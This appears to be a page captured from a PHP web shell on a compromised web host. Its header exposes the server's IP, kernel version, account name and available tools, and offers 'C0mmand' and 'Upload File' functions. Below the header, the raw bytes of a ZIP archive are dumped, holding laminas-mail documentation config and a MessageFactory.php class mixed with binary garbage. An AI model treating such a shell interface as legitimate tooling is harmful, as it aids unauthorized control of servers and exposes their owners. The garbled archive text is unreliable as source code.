Server IP : 213.176.29.180 / Your IP : 3.143.3.114 Web Server : Apache System : Linux 213.176.29.180.hostiran.name 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64 User : webtaragh ( 1001) PHP Version : 8.3.14 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/webtaragh/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
PK ��$Z��F�[ [ laminas-mail/COPYRIGHT.mdnu �[��� Copyright (c) 2020 Laminas Project a Series of LF Projects, LLC. (https://getlaminas.org/) PK ��$Z��\ � � laminas-mail/mkdocs.ymlnu �[��� docs_dir: docs/book site_dir: docs/html nav: - Home: index.md - Introduction: intro.md - Reference: - Messages: - "Intro and Usage": message/intro.md - "Attachments": message/attachments.md - "Character Sets": message/character-sets.md - Transports: - Usage: transport/intro.md - SMTP: - "SMTP Options": transport/smtp-options.md - "Sending multiple messages": transport/smtp-multiple-send.md - Authentication: transport/smtp-authentication.md - "File Transport Options": transport/file-options.md - "Reading and Storing Mail": read.md site_name: laminas-mail site_description: 'Parse, create, store, and send email messages, using a variety of storage and transport protocols.' repo_url: 'https://github.com/laminas/laminas-mail' extra: project: Components PK ��$Z�]� � # laminas-mail/src/MessageFactory.phpnu �[��� <?php /** * @see https://github.com/laminas/laminas-mail for the canonical source repository * @copyright https://github.com/laminas/laminas-mail/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-mail/blob/master/LICENSE.md New BSD License */ namespace Laminas\Mail; use Traversable; class MessageFactory { /** * @param array|Traversable $options * @return Message */ public static function getInstance($options = []) { if (! is_array($options) && ! $options instanceof Traversable) { throw new Exception\InvalidArgumentException(sprintf( '"%s" expects an array or Traversable; received "%s"', __METHOD__, (is_object($options) ? get_class($options) : gettype($options)) )); } $message = new Message(); foreach ($options as $key => $value) { $setter = self::getSetterMethod($key); if (method_exists($message, $setter)) { $message->{$setter}($value); } } return $message; } /** * Generate a setter method name based on a provided key. * * @param string $key * @return string */ private static function getSetterMethod($key) { return 'set' . str_replace( ' ', '', ucwords( strtr( $key, [ '-' => ' ', '_' => ' ', ] ) ) ); } } PK ��$Z@�ȗ>